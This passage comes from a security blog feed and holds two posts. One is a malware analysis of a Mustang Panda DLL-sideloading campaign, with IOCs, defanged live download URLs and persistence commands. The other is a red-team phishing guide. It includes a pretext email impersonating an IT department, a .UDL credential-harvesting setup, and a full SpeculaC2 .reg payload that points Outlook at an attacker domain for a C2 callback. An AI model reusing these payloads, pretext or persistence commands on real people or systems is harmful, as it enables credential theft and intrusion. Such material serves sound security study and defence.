&lt;font color=&quot;#2ecc71&quot;&gt; Thanks for spending your time and giving it a read. &lt;/font&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="Malware Campaign" /><category term="APT Mustang Panda" /><category term="DLL Sideloading" /><category term="Malware Analysis" /><summary type="html">Brief Introduction Mustang Panda (the adversary), a prolific China-aligned cyber espionage group, remains a significant threat in 2025, actively pursuing intelligence gathering operations against governmental, military, and non-governmental organizations. Recent campaigns show a continued focus on targets across Europe and East Asia, with a particular emphasis on entities in Myanmar. The group’s operations are consistently characterized by their signature technique of DLL sideloading, leveraging lures themed as official documents to trick victims into initiating a multi-stage infection process via spear-phishing. Demonstrating a clear commitment to evading modern defenses, Mustang Panda has recently upgraded its toolkit to enhance stealth and bypass endpoint security. This includes deploying updated variants of their primary TONESHELL backdoor and introducing new specialized tools for lateral movement and keylogging. Most notably, the development of the SplatCloak driver, designed specifically to disable EDR products, underscores their adaptive nature and solidifies their status as a sophisticated and evolving threat actor in the global cybersecurity landscape. Assets and Indicators of Compromise Let’s begin our Investigation with couple of IOCs related to Mustang Panda’s latest malware campaign against government &amp;amp; security agencies in Southeast Asia with the Lightpipe payload. Indicators of Compromise (IOCs) Assets Hash/IP/Files Link (The_Military_Balance_2025).zip 6d8889f113cdfa27bc76a59c788d6a17 VT Link AS 9381 (HKBN Enterprise Solutions HK Limited) 218.255.96.245 VT Link ☣️[!WARNING!]☣️ Live Assets Domains and download links shared below are still alive, up and running at the time of writing this blog. In case, one can download them directly, I have defanged the URL for your own safety. Please exercise caution while interacting and handling the malware kits. hxxps[://]www[.]mgood[.]co[.]kr/upload/ebook/04-17-2025/Strategic_Minerals_Development_Policy[.]zip hxxps[://]www[.]mgood[.]co[.]kr/upload/ebook/04-17-2025/NSC_Meeting_Minutes_Apr2025[.]zip The adversary has also utilized Google Drive on several occassions to host the malware, my hypothesis for the domain www[.]mgood[.]co[.]kr is that either they exploited unrestricted file upload, or they simply registered on the website and hosted malware over there. Usually the adversary performs spear phishing against their targets and historically, they have used USB based droppers too. Starting with (The_Military_Balance_2025).zip : Initially when unarchived, you’ll see a legitimate chrome binary - although renamed, and to naked eyes you won’t see anything else. We might think where is the malicious DLL which will be sideloaded? Here the adversary has sneakily hidden the folder where the malicious DLL resides. So, darhs means the directory has all these attributes set: it is a directory (d), marked as archive (a), read-only (r), hidden (h), and system (s). When a directory or file has both Hidden and System attributes set (like in this case, directory with h and s), it is treated as a protected operating system file. By default, even if you enable “Show hidden files,” Windows Explorer will still hide items marked as system files unless you explicitly disable the “Hide protected operating system files” option in Folder Options. We can use tools like DLLHound to identify missing DLLs in any running process on the windows machine for the purpose of sideloading. Similarly in this case, we can identify that the module chrome_elf.dll is missing, as legitimate chrome.exe binary looks for it through a particular DLL search order. DLLHound’s output Missing DLLs which were not found for legitimate chrome.exe. The malicious chrome_elf.dll is PE32 bit DLL written in C++ which we will analyze in a quick and dirty fashion to infer its behavior. Digital Signature Analyzing its digital signature reveals that its likely spoofed or self-signed for evasion. But the certificate chain is terminated at the root CA because it isn’t in the trusted store, hence it gives the user an option to install the cert itself. In contrary, we can locate legitimate and signed binary (chrome_elf.dll) on the host via this powershell command: Get-ChildItem -Path C:\ -Recurse -Filter &quot;chrome_elf.dll&quot; -ErrorAction SilentlyContinue which gets couple of hits with the absolute path being - 1. C:\eSupport\eDriver\Software\Driver\DCH\Online\Graphic\NVIDIA\Graphic_DCH\30.0.14.7186\24344\WIN32UX\GFExperience 2. C:\Program Files\NVIDIA Corporation\NVIDIA GeForce Experience 3. C:\Program Files\Google\Chrome\Application\137.0.7151.105 4. C:\Program Files\Google\Chrome\Application\137.0.7151.120 5. C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF 6. C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 It seems like chrome_elf.dll file is signed by Adobe, NVIDIA and Google likewise. Depending upon the software and drivers installed on your machine, it might vary. For reference, here’s the digital signature of signed chrome_elf.dll Exports and here’s a comparison between the exports from the malicious chrome_elf.dll and a legitimate one. When we analyze the function calls from the legitimate chrome.exe binary, we notice these 4 functions being utilized from chrome_elf.dll binary, that’s where the entrypoint of malicious DLL lies. GetInstallDetailsPayload IsBrowserProcess SignalChromeElf SignalInitializeCrashReporting CAPA Analysis Quick CAPA analysis reveals the capabilities of this malicious DLL. We will explore the essential ones manually as well as via sandbox to unearth the details. Sandbox Analysis - Network Traffic Quick sandbox execution reveals the trace of TONESHELL. We can confirm it via analyzing the network packet bytes 17 03 03 which is usually prepended before transacting the encrypted data. In another variant and campaign of this adversary, we can find the same packet bytes against the suspicious IP address 218.255.96.245. Surprisingly no security vendor has flagged the IP as malicious (as of 10th June 2025). Multiple network based detection rules (from suricata) are triggered against the binary. Suspicious IP address it establishes connections with over port 443, surprisingly I didn’t find any domain FQDN resolution against the binary in run-time, besides some legitimate benign network traffic. Sandbox Analysis - Execution Once the user/target unarchives and executes the legitimate chrome.exe binary (The_Military_Balance_2025).exe, it immediately sideloads the malicious chrome_elf.dll, which then renames and copies itself to a new location (C:\ProgramData\ChromePDFBrowser\ChromePDF.exe) and (C:\ProgramData\ChromePDFBrowser\101.0.4951.41\chrome_elf.dll). All of this happens via schtasks.exe which ensures task scheduler based persistence. We will delve deeper into its function calls. Mutex check - CATM20252003 (more on it later). Besides these details, automated sandbox analyses reveals task scheduler based execution and autorun registry modification for persistence. Malware Analysis - Execution Copies itself to C:\ProgramData\ChromePDFBrowser Stepping through the function calls and analyzing the subroutines, we stumble upon task scheduler based persistence mechanism. schtasks /F /Create /TN &quot;ChromeBrowser-chromiumim&quot; /SC minute /MO 5 /TR &quot;C:\ProgramData\ChromePDFBrowser\ChromePDF.exe FreePDF&quot; The primary function of this command is to ensure that the ChromePDF.exe program is executed automatically every five minutes, indefinitely. This high frequency and the use of the /F flag to prevent failure on re-creation are strong indicators of a task designed for persistence. which happens simultaneously when sideloading happens, along with popping a MessageBox with the title - Error: File Corrupted &amp;amp; message - The PDF File is corrupted. Please restart your computer to try again. APT shenanigans, reveals that they’re not a h@x0r and they love America, also previously revealing the GPS co-ordinates (27°40’54.0”N 112°10’26.8”W) of a particular UNESCO world heritage site?! Moving forward, we confirm the Mutex check - ensuring only one instance of task scheduler entry is running simultaneously. Malware Analysis - Persistence When task scheduler runs the binary (C:\ProgramData\ChromePDFBrowser\ChromePDF.exe) it executes its second persistence mechanism - registry run keys. Name - ChromePDFBrowser key - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value - C:\ProgramData\ChromePDFBrowser\ChromePDF.exe FreePDF It executes in the context of the user who logs in. MITRE - Autostart Execution - T1547.001 Once the Mutex synchronization check and subsequent function calls has been executed, the malware immediately runs the command shutdown /s /f /t 0, which in immediate effect shuts down the computer, killing any other program. Shellcode Execution Upon close inspection, the malicious DLL utilizes EnumFontsW windows callback function pointer to map the shellcode in memory and executed it. I encountered couple of anti-debugging and anti-sandbox WinAPI calls (IsDebuggerPresent, GetTickCount, etc). I will delve deeper into shellcode execution and encryption/decryption routines in another blog, but here’s a glimpse of it – surprisingly they’re still using HeapAlloc to allocate memory dynamically, as compared to modern memory management techniques. Revisiting the exports GetSPApp(void) –&amp;gt; Mutex check and PDF error route, shutdown and for synchronization purpose. AAfsSetMainStart –&amp;gt; iloveamerica &amp;amp; “Error PDF” messageBox Chrome_start_ipc –&amp;gt; shutdown resolution and mutex checks This is just a rough description of function calls. Besides that, we can visualize the Infection Chain as shown below - Steps of Infection chain would look something like this - Adversary sends the phishing email User/target downloads the archive, extracts the contents and executes the binary Binary sideloads the malicious DLL (chrome_elf.dll) Malicious DLL copies itself along with the legitimate binary in a new directory (C:\ProgramData\ChromePDFBrowser or C:\ProgramData\NVIDIAFrameViewSDK etc…) And executes itself via task scheduler, which again sideloads the DLL User sees the messagebox error prompt - PDF is corrupted… In background the registry run key persistence is established. Machine shuts down/reboots. More Malware Samples Pivoting further through the suspicious IP address, we find more malware samples which are actively used by APT Mustang Panda. Malware sample attributes Legitimate Binary - Invitation for the Paki Ind and 14th PK-IN JWGTI.exe Malicious DLL - libcef.dll 60033579563b1af5fa06e3cd3d6e0951 File Description - Adobe Licensing WF Helper Original Filename - adobe_licensing_wt_helper.exe Signed - ❌ Malware sample attributes Legitimate Binary - Invitation to the Inter-Agency Meeting for the 46th ASEAN Summit.exe Malicious DLL - helper_core.dll 47dff78a81c694066489b7fdac353f28 File Description - Wargaming.net Game Center Original Filename - helper_process.exe Signed - ❌ Malware sample attributes Legitimate Binary - Invitation letter for the com Workshop - AMB.exe Malicious DLL - helper_core.dll bd806ab870f06cec107c5ae44442b5fb File Description - Wargaming.net Game Center Original Filename - helper_process.exe Signed - ❌ Malware sample attributes Legitimate Binary - Bilingual Education Reform Report (སྐད་གཉིས་སློབ་གསོ་བསྒྱུར་བཅོས་སྙན་ཞུ) Malicious DLL - libjyy.dll 5d88adf862e6944b995ac6dd5151588d File Description - FFWallpaper Widgets Jyy Original Filename - libjyy.exe Signed - ✅ Digitally signed by Hefei Nora Network Technology Co., Ltd. Malware sample attributes Legitimate Binary - DRC Mining, Strategic Minerals Development Policy.exe Malicious DLL - helper_core.dll 2123eab51aa468d5140c3bfe2bbe7775 File Description - Wargaming.net Game Center Original Filename - helper_process.exe Signed - ❌ Malware sample attributes Legitimate Binary - NSC_Meeting_Minutes_Apr2025.exe Malicious DLL - helper_core.dll 42b3081297597814f82aff32e9d7076d File Description - Wargaming.net Game Center Original Filename - helper_process.exe Signed - ❌ Download Link for all of the samples mentioned in this blog - pass - infected More or less the attributes are same, in some sample you won’t find task scheduler based execution and persistence, solely relying on registry run key persistence. With one execption which has the digitally signed malicious DLL. Method of infection and payload containerization has some variations. ‘DRC Mining, Strategic Minerals Development Policy.url’ file being the Internet shortcut - hxxps[://]www[.]mgood[.]co[.]kr/upload/ebook/04-17-2025/NSC_Meeting_Minutes_Apr2025[.]zip NSC_Meeting_Minutes_Apr2025.lnk - “C:\Windows\System32\conhost.exe –headless –width 80 –height 90 explorer (NSC_Meeting)-0416\NSC_Meeting_Minutes_Apr2025.exe” From the end user’s perspective, if they will attempt to delete the malicious DLL they will encounter warning message like this - which is fantastic for invoking doubts in the mind of user. One can pick up debugging the export function AAfsSetMainStart() to start their malware analysis, mostly it’ll start with greetings from the Mustang Panda. They utilize same good old’ DLL Sideloading tactics against their target, with persistence and little bit of evasion, rest of the job is done by their LightPipe and ToneShell payloads. Today I’ll wrap up the case here. If you have any questions or need personal guidance then feel free to contact me here Thanks for spending your time and giving it a read.</summary></entry><entry><title type="html">Enterprise Phishing - 2kb to pwn! .UDL and .reg payloads for Initial Access and Credential Harvesting</title><link href="http://localhost:8001/enterprise-phishing-udl-reg-for-initial-access-and-credential-harvesting" rel="alternate" type="text/html" title="Enterprise Phishing - 2kb to pwn! .UDL and .reg payloads for Initial Access and Credential Harvesting" /><published>2025-05-05T00:00:00+00:00</published><updated>2025-05-05T00:00:00+00:00</updated><id>http://localhost:8001/Enterprise-Phishing-UDL-Reg-for-Initial-access-and-credential-harvesting</id><content type="html" xml:base="http://localhost:8001/enterprise-phishing-udl-reg-for-initial-access-and-credential-harvesting">&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Brief Introduction &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;Enterprise phishing - a phishing campaign which is done against a mature security stack of enterprise grade solutions, that implies, you’re up against Microsoft ATP, safelinks, defender for endpoint, defender for Office 365, DLPs, email and secure web gateway solutions, remote browser isolations, EDRs, etc. Most of these defensive solutions are stacked together.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Not so enterprise grade phishing&lt;/em&gt; would be - phishing against some end user who uses gmail on windows, with some basic AV. Hope that draws a stark contrast here.&lt;/p&gt;

&lt;p&gt;Traditionally, phishing campaigns are broadly classified into two categories - credential harvesting and/or malicious attachments. Credential harvesting attempts are usually accompanied by grabbing the username, password, session tokens, OTPs etc over the phishing domain, which is a live asset and could be shared to targets over the mail, sms, pdfs with links etc.  Meanwhile in the case of malicious attachments - usually there’s some packed payload which is password protected, there are multiple aspects to it - loader, dropper, you might be sideloading, or its some malicious macro or package based Installation etc. here you need to convince the user to download the attachment, unprotect it, double click to see the invoice or whatever, then you might get a callback to your C2.&lt;/p&gt;

&lt;p&gt;There are many challenges with both of those, most of the attempts are mitigated by the Microsoft ATP and defender for Office 365 itself, on top of that we have Internet security modules from Zscaler and every other vendor has such implementation, which works in your browser, over the mail client, in your terminal and everywhere else on your endpoint.&lt;/p&gt;

&lt;p&gt;Over the years I have realized how the enterprises configure policies against phishing, if your attachment is password protected - it’s not allowed, you can’t send or receive such a file, there’s a separate mechanism for file share in the company. If your attachment is bigger than 7mb, again it’s not allowed, only pdf, ppt, docx is allowed, anything else gets blocked immediately, so on and on, you get the context. It varies from company to company, but still, out of the box email security solutions are pretty effective at this point, forget about custom policies.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;As a Red Teamer, creating a payload which is effective against the email security solutions is in itself very difficult, on top of that I have to beg the users to check their invoice or payroll, or register on a lucky draw website, or acknowledge some updates in the security policy etc. End user awareness is increasing day by day, which is a good thing for the overall security posture, but as a Red Teamer, a day without good fishing is a day wasted (at least during ops).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Coming to the choice of payloads, Imagine, if you can utilize a payload of size less than 1kb which slips right into the inbox of a user, which can be opened directly from the email client (mostly on desktop application), and it isn’t flagged or blocked by the email security solutions, DLPs or EDRs. Something which can grant you username, password and NTLM hashes on a good day, if you’re lucky.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/therewego.png&quot; width=&quot;500&quot; height=&quot;500&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I love .UDL payloads for my phishing campaigns in the enterprise environment. It could be utilized for Internal phishing campaigns from the network file share, or externally, over the mail you can share the payload, unpacked, raw, and it works just fine. The target doesn’t even need to download and execute the payload from the email attachments, the user can simply right click and open it, effectively bypassing safe attachments, smartscreen, MotW, and it doesn’t require elevated privileges or credentials to execute it, so no UAC bypass is needed (at least I haven’t encountered such scenario yet).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/UDL-Attachment.png&quot; /&gt;&lt;/p&gt;
&lt;h3 align=&quot;center&quot;&gt; UDL payload can be opened from the desktop client. &lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/UDLHash.png&quot; /&gt;&lt;/p&gt;
&lt;h3 align=&quot;center&quot;&gt; Credential Harvesting - grabbing hashes over port 80 &lt;/h3&gt;

&lt;p&gt;I use it for high value targets, it’s something which could be used against IT teams, or developers and the end user likewise. There’s nothing new in it and it’s all a processed TTP already, You can refer to the amazing blog by &lt;a href=&quot;https://trustedsec.com/blog/oops-i-udld-it-again&quot;&gt;Oddvar Moe&lt;/a&gt; on how to set up the UDL payload.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/UDL-Internals.png&quot; /&gt;&lt;/p&gt;
&lt;h3 align=&quot;center&quot;&gt; Actual content of the UDL payload, just 3 lines ;) &lt;/h3&gt;

&lt;p&gt;When a user downloads the payload for the first time and runs it, this is how it looks like on disk, they see a minor MotW warning from windows.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/UDL-on-disk.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What the user sees when they open the .UDL payload -&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/udl-once-opened.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/username-pass.png&quot; /&gt;&lt;/p&gt;
&lt;h3 align=&quot;center&quot;&gt; Credential Harvesting - username &amp;amp; password &lt;/h3&gt;

&lt;p&gt;The Red Team advantage here is - if we are able to grab the username and password of a high value target, chances are high that it works, you don’t have to grab the NetNTLMv2 hashes out of a network via LLMNR poisoning and then relay/crack it, it’s in cleartext already. You don’t have to perform password spray in the target environment. We can perform credential stuffing using that same password, across the internal application, and mail clients against the target. So there’s this element of stealth, evasion, and opsec, all of these combined makes it so effective. (As long as it works, it’s flawless). It’s like an instant-infostealer type thing, but just for the username:password:hash pair. As of today, chances are low that you’ll get hashes out of the UDL payloads, unless their infra is outdated and old.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;The target should have Outlook (classic) 16.0 desktop application, which is very common. The Outlook web view will not let the user open the attachment, but they can download and execute it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/544bytes-web-view.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Phishing email template could be of any choice, most common ones which I use is -&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Subject: Outlook mail synchronization issue]

Dear Team, 

Please ensure that your Outlook Calendar is properly synchronized to our Outlook Exchange servers on-premise. We have received several complaints of delayed or undelivered emails across departments. 

For that please download the attachment and enter your details to &quot;Test connection&quot;, if you face an error, try that again. If the issue persists then download the other attachment and execute it, it&apos;s a quick fix. 

NOTE: You do not have to submit the credentials, just click on &quot;Test connection&quot; button to verify if your mail client is properly synchronized. IT Team doesn&apos;t ask for your username or password. 

Best Regards
IT Department

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/wdym.gif&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Enter Outlook based C2 - Specula &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;This is the ‘other attachment’ we were talking about in the previous phishing template. The beauty of .UDL payload is - that regardless of user’s credential being the legit ones, Microsoft will throw an &lt;strong&gt;“Microsoft Data Link Error”&lt;/strong&gt;, which looks something like this -&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/UDL-error.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Meanwhile, in the server backend, where we have provisioned our Responder (listener), we would be harvesting their credentials.&lt;/p&gt;

&lt;p&gt;Now the user will either re-enter their credentials, which will be skipped by our listener if its the same. Otherwise they will download the other payload - a .reg file, which btw also slips under the radar and its also less than 1kb in size. It can either be downloaded from the email attachments or opened directly from the desktop application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Beauty of .reg payload&lt;/strong&gt;: It requires only 2 clicks to be effective, one will be a minor MotW consent prompt and the other prompt will be for the confirmation of the changes made to the registry. One thing to note here is - even the low privileged user can execute the .reg payload, if the security policies are not enforced which explicitly denies them from making any modifications. Leading EDR vendors and DLP solutions usually won’t allow any user to edit the registry either via .reg file or manually.&lt;/p&gt;

&lt;p&gt;The user has to do - yes and ok. Lmao, that’s it, and we will gain a callback from their end.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/reg-motw.png&quot; /&gt;
yes
&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/reg-done.png&quot; /&gt;
ok
&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/reg-edr-dlp.png&quot; /&gt;&lt;/p&gt;
&lt;h3 align=&quot;center&quot;&gt; Initial Access in the presence of EDR and DLP &lt;/h3&gt;

&lt;p&gt;This is actual content of a typical SpeculaC2 .reg payload:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Webview\Inbox]
&quot;url&quot;=&quot;https://attacker.domain/plugin/search/&quot;
&quot;security&quot;=&quot;yes&quot;
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{261B8CA9-3BAF-4BD0-B0C2-BF04286785C6}\iexplore]
&quot;Flags&quot;=dword:00000004
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
&quot;140C&quot;=dword:00000000
&quot;1200&quot;=dword:00000000
&quot;1201&quot;=dword:00000003

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Its magical, if you ask me the size of these payloads in real Red Team Operations, the .UDL payload roughly goes from 366 bytes to 566 bytes, and .reg payload is typically 495 bytes, both of them combined is even less than 1kb. Under normal circumstances it’s never gonna exceed 1.5kb.&lt;/p&gt;

&lt;p&gt;I won’t go into the weeds of setting up SpeculaC2, you can refer these two materials by Christopher Paschen and Oddvar Moe.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-registry-change&quot;&gt;TrustedSec Blog: Specula - Turning Outlook into a C2 with one registry change&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://youtube.com/playlist?list=PLk-dPXV5k8SE_g2507i2Qsu-dj3nRnTgA&amp;amp;si=-dJadfcpEH9MTqRq&quot;&gt;YT Playlist: Specula Tutorials&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;We can do a whole lot of fun with SpeculaC2, for instance, sending emails from the mailbox of the compromised user and deleting the mail automatically after it is sent, also we can give it attachments.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/specula-fun.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Both of the payloads, .UDL and .reg, could be used for Internal phishing campaigns as well, we can spread them in the excessively open network shares, or in case, we can spread .UDL payload over the compromised user’s session from SpeculaC2 itself. Endless possibilities.&lt;/p&gt;

&lt;p&gt;Red Teaming is golden at this point. We’ve got credentials and a shell. What a blessing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color:#ec9724;&quot;&gt;It’s all fun and games until you get your ass handed over to you.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once upon a time, I was utilizing the .reg payload against Zscaler’s Intrusion Prevention System. The default configuration of server was so much fingerprinted, that it got blocked almost instantly. Then I had to edit and obfuscate it for the next couple of hours and test the payload again and again.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/ips-zscaler.png&quot; /&gt;
&lt;em&gt;Known browser exploits?!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After so many attempts I was able to gain &lt;em&gt;The Callback&lt;/em&gt;, my precious… but as soon as I executed a basic system enumeration command, I got blocked again, this time, in the webview of Outlook itself the message was displayed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/zscaler-reg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So definitely, its fingerprinted heavily. Unfortunately I couldn’t get much time to spend against Zscaler’s IPS. Otherwise evading it is always fun.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I am positive about the success rate of .UDL and .reg payload, and both of them combined makes a real difference in a Red Teamer’s life. Do let me know if you’ve tried these goodies in different configurations. I am more than happy to hear your war stories.&lt;/p&gt;

&lt;p&gt;If you have any questions or need personal guidance then feel free to &lt;a href=&quot;/contact&quot;&gt;contact me here&lt;/a&gt;&lt;/p&gt;

&lt;font color=&quot;#2ecc71&quot;&gt; Thanks for spending your time and giving it a read. &lt;/font&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="Red Team Operations" /><category term="Enterprise Phishing" /><category term="Initial Access" /><category term="Credential Harvesting" /><summary type="html">Brief Introduction Enterprise phishing - a phishing campaign which is done against a mature security stack of enterprise grade solutions, that implies, you’re up against Microsoft ATP, safelinks, defender for endpoint, defender for Office 365, DLPs, email and secure web gateway solutions, remote browser isolations, EDRs, etc. Most of these defensive solutions are stacked together. Not so enterprise grade phishing would be - phishing against some end user who uses gmail on windows, with some basic AV. Hope that draws a stark contrast here. Traditionally, phishing campaigns are broadly classified into two categories - credential harvesting and/or malicious attachments. Credential harvesting attempts are usually accompanied by grabbing the username, password, session tokens, OTPs etc over the phishing domain, which is a live asset and could be shared to targets over the mail, sms, pdfs with links etc. Meanwhile in the case of malicious attachments - usually there’s some packed payload which is password protected, there are multiple aspects to it - loader, dropper, you might be sideloading, or its some malicious macro or package based Installation etc. here you need to convince the user to download the attachment, unprotect it, double click to see the invoice or whatever, then you might get a callback to your C2. There are many challenges with both of those, most of the attempts are mitigated by the Microsoft ATP and defender for Office 365 itself, on top of that we have Internet security modules from Zscaler and every other vendor has such implementation, which works in your browser, over the mail client, in your terminal and everywhere else on your endpoint. Over the years I have realized how the enterprises configure policies against phishing, if your attachment is password protected - it’s not allowed, you can’t send or receive such a file, there’s a separate mechanism for file share in the company. If your attachment is bigger than 7mb, again it’s not allowed, only pdf, ppt, docx is allowed, anything else gets blocked immediately, so on and on, you get the context. It varies from company to company, but still, out of the box email security solutions are pretty effective at this point, forget about custom policies. As a Red Teamer, creating a payload which is effective against the email security solutions is in itself very difficult, on top of that I have to beg the users to check their invoice or payroll, or register on a lucky draw website, or acknowledge some updates in the security policy etc. End user awareness is increasing day by day, which is a good thing for the overall security posture, but as a Red Teamer, a day without good fishing is a day wasted (at least during ops). Coming to the choice of payloads, Imagine, if you can utilize a payload of size less than 1kb which slips right into the inbox of a user, which can be opened directly from the email client (mostly on desktop application), and it isn’t flagged or blocked by the email security solutions, DLPs or EDRs. Something which can grant you username, password and NTLM hashes on a good day, if you’re lucky. I love .UDL payloads for my phishing campaigns in the enterprise environment. It could be utilized for Internal phishing campaigns from the network file share, or externally, over the mail you can share the payload, unpacked, raw, and it works just fine. The target doesn’t even need to download and execute the payload from the email attachments, the user can simply right click and open it, effectively bypassing safe attachments, smartscreen, MotW, and it doesn’t require elevated privileges or credentials to execute it, so no UAC bypass is needed (at least I haven’t encountered such scenario yet). UDL payload can be opened from the desktop client. Credential Harvesting - grabbing hashes over port 80 I use it for high value targets, it’s something which could be used against IT teams, or developers and the end user likewise. There’s nothing new in it and it’s all a processed TTP already, You can refer to the amazing blog by Oddvar Moe on how to set up the UDL payload. Actual content of the UDL payload, just 3 lines ;) When a user downloads the payload for the first time and runs it, this is how it looks like on disk, they see a minor MotW warning from windows. What the user sees when they open the .UDL payload - Credential Harvesting - username &amp;amp; password The Red Team advantage here is - if we are able to grab the username and password of a high value target, chances are high that it works, you don’t have to grab the NetNTLMv2 hashes out of a network via LLMNR poisoning and then relay/crack it, it’s in cleartext already. You don’t have to perform password spray in the target environment. We can perform credential stuffing using that same password, across the internal application, and mail clients against the target. So there’s this element of stealth, evasion, and opsec, all of these combined makes it so effective. (As long as it works, it’s flawless). It’s like an instant-infostealer type thing, but just for the username:password:hash pair. As of today, chances are low that you’ll get hashes out of the UDL payloads, unless their infra is outdated and old. The target should have Outlook (classic) 16.0 desktop application, which is very common. The Outlook web view will not let the user open the attachment, but they can download and execute it. Phishing email template could be of any choice, most common ones which I use is - [Subject: Outlook mail synchronization issue] Dear Team, Please ensure that your Outlook Calendar is properly synchronized to our Outlook Exchange servers on-premise. We have received several complaints of delayed or undelivered emails across departments. For that please download the attachment and enter your details to &quot;Test connection&quot;, if you face an error, try that again. If the issue persists then download the other attachment and execute it, it&apos;s a quick fix. NOTE: You do not have to submit the credentials, just click on &quot;Test connection&quot; button to verify if your mail client is properly synchronized. IT Team doesn&apos;t ask for your username or password. Best Regards IT Department Enter Outlook based C2 - Specula This is the ‘other attachment’ we were talking about in the previous phishing template. The beauty of .UDL payload is - that regardless of user’s credential being the legit ones, Microsoft will throw an “Microsoft Data Link Error”, which looks something like this - Meanwhile, in the server backend, where we have provisioned our Responder (listener), we would be harvesting their credentials. Now the user will either re-enter their credentials, which will be skipped by our listener if its the same. Otherwise they will download the other payload - a .reg file, which btw also slips under the radar and its also less than 1kb in size. It can either be downloaded from the email attachments or opened directly from the desktop application. Beauty of .reg payload: It requires only 2 clicks to be effective, one will be a minor MotW consent prompt and the other prompt will be for the confirmation of the changes made to the registry. One thing to note here is - even the low privileged user can execute the .reg payload, if the security policies are not enforced which explicitly denies them from making any modifications. Leading EDR vendors and DLP solutions usually won’t allow any user to edit the registry either via .reg file or manually. The user has to do - yes and ok. Lmao, that’s it, and we will gain a callback from their end. yes ok Initial Access in the presence of EDR and DLP This is actual content of a typical SpeculaC2 .reg payload: Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Webview\Inbox] &quot;url&quot;=&quot;https://attacker.domain/plugin/search/&quot; &quot;security&quot;=&quot;yes&quot; [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{261B8CA9-3BAF-4BD0-B0C2-BF04286785C6}\iexplore] &quot;Flags&quot;=dword:00000004 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] &quot;140C&quot;=dword:00000000 &quot;1200&quot;=dword:00000000 &quot;1201&quot;=dword:00000003 Its magical, if you ask me the size of these payloads in real Red Team Operations, the .UDL payload roughly goes from 366 bytes to 566 bytes, and .reg payload is typically 495 bytes, both of them combined is even less than 1kb. Under normal circumstances it’s 